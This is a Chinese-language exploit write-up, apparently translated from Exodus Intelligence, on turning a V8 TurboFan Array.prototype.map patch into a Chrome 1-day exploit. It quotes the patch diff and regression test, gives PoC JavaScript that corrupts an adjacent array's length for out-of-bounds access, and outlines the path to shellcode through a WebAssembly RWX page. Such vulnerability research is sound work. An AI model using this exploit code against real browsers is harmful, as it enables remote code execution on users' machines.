把握机会之窗:看我如何获得Chrome 1-day漏洞并实现利用

概述
针对Chrome浏览器来说,当发现一个漏洞后,将首先在v8源代码树中进行修复,随后再发布一个新的稳定版本Chrome,而在这两个过程期间,攻击者完全可以针对特定漏洞,开发出一个可用的漏洞利用方法,本文主要探讨了攻击者利用这一时间差开展攻击的可能性。
Chrome发布计划
Chrome浏览器有一个相对非常紧密的新版本发布周期,如果发现浏览器存在严重漏洞需要进行更新,他们会每隔6周发布一个新的稳定版本。然而,Chrome使用了开源的开发模型,尽管安全修复程序可以被立即更新到源代码树中,并且立即可见,但这些更新部分还需要一定时间在Chrome的非稳定版本渠道中进行测试,然后才可以通过自动更新机制将其推送到大多数用户群体所使用的稳定版本上。
正因如此,攻击者就获得了一个机会窗口,这一窗口的时间根据漏洞发布时间而定,从几天到几周不等。其中,漏洞的详细信息几乎是完全公开的,但在公开之后,大部分用户所使用的Chrome都非常脆弱,因为他们此时还无法获得补丁更新。
开源补丁分析
对于攻击者来说,如果通过v8的Git Log查看,可能会得到大量有效的信息,他们的体验非常良好。然而,其中的一个变化立即引起了我的注意。该修复程序具有以下提交信息:
[TurboFan] Array.prototype.map wrong ElementsKind for output array.
这表明,如果要进入到相关Chromium问题的跟踪器,这一行为将受到限制,这一限制可能会持续数月。但是,在这里已经包含了可能允许攻击者迅速开发漏洞利用方式的所有信息,因此这也被攻击者作为了最终的目标。TurboFan是v8的优化JIT编译器,近期也成为了一个热门的目标。
数组漏洞的利用成功概率相对较大,这样的提示可能暗示了元素类型之间存在类型混淆的问题,而这一问题可能比较简单的复现。在这一补丁中,还包含一个有效触发漏洞的回归测试,这也能有助于缩短漏洞利用的开发时间。
我们看到,唯一修改过的方法是src/compiler/js-call-reducer.cc中的JSCallReducer::ReduceArrayMap:
Reduction JSCallReducer::ReduceArrayMap(Node* node,
                                         const SharedFunctionInfoRef& shared) {
   Node* original_length = effect = graph()->NewNode(
        simplified()->LoadField(AccessBuilder::ForJSArrayLength(kind)), receiver,
        effect, control);
 
 +  // If the array length >= kMaxFastArrayLength, then CreateArray
 +  // will create a dictionary. We should deopt in this case, and make sure
 +  // not to attempt inlining again.
 +  original_length = effect = graph()->NewNode(
 +      simplified()->CheckBounds(p.feedback()), original_length,
 +      jsgraph()->Constant(JSArray::kMaxFastArrayLength), effect, control);
 +
    // Even though {JSCreateArray} is not marked as {kNoThrow}, we can elide the
    // exceptional projections because it cannot throw with the given parameters.
    Node* a = control = effect = graph()->NewNode(
       javascript()->CreateArray(1, MaybeHandle()),
       array_constructor, array_constructor, original_length, context,
       outer_frame_state, effect, control);
JSCallReducer在TurboFan的InliningPhase期间运行,其ReduceArrayMap方法尝试使用内联代码替换对Array.prototype.map的调用。代码中添加的注释仅仅是描述性的,在添加的代码中,增加了一个检查机制,以验证数组的长度是否小于kMaxFastArrayLength(其长度为32MiB)。该长度将传递到CreateArray,后者会返回一个新的数组。
针对于具有特定特征的阵列的存储,v8引擎会对其进行不同的优化。例如,PACKED_DOUBLE_ELEMENTS是用于仅具有双元素且没有孔的数组的元素种类。它们作为连续的数组存储在内存中,可以为map等操作生成高效的代码。不同元素种类之间的混淆,是产生安全漏洞的一大常见原因。
那么,如果长度大于kMaxFastArrayLength,为什么会出现问题呢?因为CreateArray将返回一个具有该长度的dictionary(字典)元素种类的数组。该字典主要用于大型数组和稀疏数组(Sparse Array),基本上是哈希表。但是,通过为其提供正确的类型返回,TurboFan将尝试为连续数组生成优化代码。这也是许多JIT编译器漏洞的常见特点:编译器根据类型反馈进行优化,但是这里存在着一个极端情况,就是允许攻击者在生成的代码的运行时中断假设。
由于字典和连续元素种类具有两种截然不同的后备存储机制,因此这将允许产生内存损坏的问题。实际上,输出的数组将是一个较小的字典(这里是指其在内存中的大小,而并非它的长度属性),将会被优化的代码访问,在访问的过程中会假定它是一个较大的连续区域(同样,是指其在内存中的大小)。
我们查看修复后代码中包含的回归测试,它将为map函数提供反馈,用于具有连续存储的数组(第6-13行),然后在通过TurboFan进行优化之后,使用具有足够大的数组对其进行调用,以便使map的输出最终符合dictionary(字典)元素类型。
// Copyright 2019 the V8 project authors. All rights reserved.
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
 // Set up a fast holey smi array, and generate optimized code.

 let a = [1, 2, ,,, 3];
 function mapping(a) {
   return a.map(v => v);
 }
 mapping(a);
 mapping(a);
 %OptimizeFunctionOnNextCall(mapping);
 mapping(a);
 
 // Now lengthen the array, but ensure that it points to a non-dictionary
 // backing store.
 a.length = (32 * 1024 * 1024)-1;
 a.fill(1,0);
 a.push(2);
 a.length += 500;
 // Now, the non-inlined array constructor should produce an array with
 // dictionary elements: causing a crash.
 mapping(a);
漏洞利用
由于map操作会将大约3200万个元素写入输出数组,因此回归测试实际上会触发一个wild memcpy。为了使漏洞利用成为可能,我们需要停止map的循环。具体来说,这可以通过提供一个回调函数来实现,该函数在进行了所需的循环次数之后将引发异常。此外,还存在另一个问题,是它在没有跳过的情况下线性的覆盖了所有内容,而在理想情况中,我们只想要选择性地覆盖特定偏移位置中的单个值,例如:相邻数组的length属性。通过阅读Array.prototype.map的官方文档,我们看到了如下内容:
针对数组中的每个元素,map将按顺序为其调用一次回调函数,并从结果中构造一个新的数组。该回调仅会针对已经分配值的(包括未定义的)数组的索引进行调用。在此过程中,不会调用缺少数组的元素,即:从未设置过的索引、已删除的索引或从未赋值的索引。
因此,这一过程将会跳过未设置的元素(holes),并且map不会向这些索引的输出数组中写入任何内容。下面的PoC代码中,展示了如何利用这两种行为,来覆盖与map输出数组相邻的数组的长度。
// This call ensures that TurboFan won't inline array constructors.
 Array(2**30);
 
 // we are aiming for the following object layout
 // [output of Array.map][packed float array]
 // First the length of the packed float array is corrupted via the original vulnerability,
 
 // offset of the length field of the float array from the map output
 const float_array_len_offset = 23;
 
 // Set up a fast holey smi array, and generate optimized code.
 let a = [1, 2, ,,, 3];
 var float_array;
 
 function mapping(a) {
   function cb(elem, idx) {
     if (idx == 0) {
       float_array = [0.1, 0.2];
     }
     if (idx > float_array_len_offset) {
       // minimize the corruption for stability
       throw "stop";     
     }
     return idx;
   }
  
   return a.map(cb);
 }
 mapping(a);
 mapping(a);
 %OptimizeFunctionOnNextCall(mapping);
 mapping(a);
 
 // Now lengthen the array, but ensure that it points to a non-dictionary
 // backing store.
 a.length = (32 * 1024 * 1024)-1;
 a.fill(1, float_array_len_offset, float_array_len_offset+1);
 a.fill(1, float_array_len_offset+2);
 
 a.push(2);
 a.length += 500;
 
 // Now, the non-inlined array constructor should produce an array with
 // dictionary elements: causing a crash.
 cnt = 1;
 try {
   mapping(a);
 } catch(e) {
   console.log(float_array.length);
   console.log(float_array[3]);
 }
此时,我们已经有了一个float数组,可以用于越界读写。该漏洞利用方法,利用了堆中存在的下述对象布局来实现目标:
[output of Array.map][packed float array][typed array][obj]
损坏的float数组,用于修改类型化数组的后备存储指针,从而实现任意读取或任意写入。最后的obj也用于泄漏任意对象的地址,具体方法是,将它们设置为内联属性,然后通过float读取它们的地址。从这里开始,漏洞利用的方法就与我在上一篇文章中描述的步骤一致,通过WebAssembly创建一个RWX页面,从而实现任意代码执行,遍历JSFunction对象层次结构,从而在内存中找到相应位置,并放置我们的Shellcode。
大家可以在我们的GitHub上找到适用于本文撰写完成时的最新稳定版本(v73.0.3683.86,截至2019年4月3日)的完整漏洞利用代码,也可以在下面的漏洞利用视频中看到完整过程。这一漏洞利用方法非常可靠,并且也可以与基于暴力破解的站点隔离方法相结合,正如我们在之前的文章中所讨论的那样。需要注意的是,完整的漏洞利用链需要进行沙箱转义。
视频(YouTube):https://youtu.be/CqEEgIMePfg
漏洞检测
该漏洞利用,不依赖于任何不常见的功能,也不会在渲染器中导致异常行为。因此,这使得区分恶意代码和良性代码的工作变得异常困难,并且不容易产生误报的情况。
漏洞缓解
通过在“设置(Settings)” – “高级选项(Advanced settings)” – “隐私和安全(Privacy and
security)” – “内容(Content)”设置菜单中禁用JavaScript执行,可以有效缓解这一漏洞。
总结
在修复程序发布之前,针对1-day漏洞开发漏洞利用方法并执行攻击的思路并不新鲜,这也绝对不是Chrome所独有的。尽管针对此类漏洞开发出来的漏洞利用方法,其寿命很短,但恶意攻击者可能会利用它们,因为这些漏洞无需再像挖掘0-day漏洞那样耗费大量人力去发现。针对这些漏洞,及时安装厂商的补丁或更新,以及依赖于公开的安全建议是不足够的。人们还需要更加深入地研究补丁,从而了解是否存在可以利用的安全漏洞。
同时,及时分析这些1-day漏洞也是一些安全漏洞订阅服务的主要工作内容之一(例如发布本文的Exodus),这能够使组织确保在没有来自厂商的适当补丁的情况下,也可以正确实施防御措施,并有助于安全研究团队在内部测试缓解措施,并测试检测与响应功能。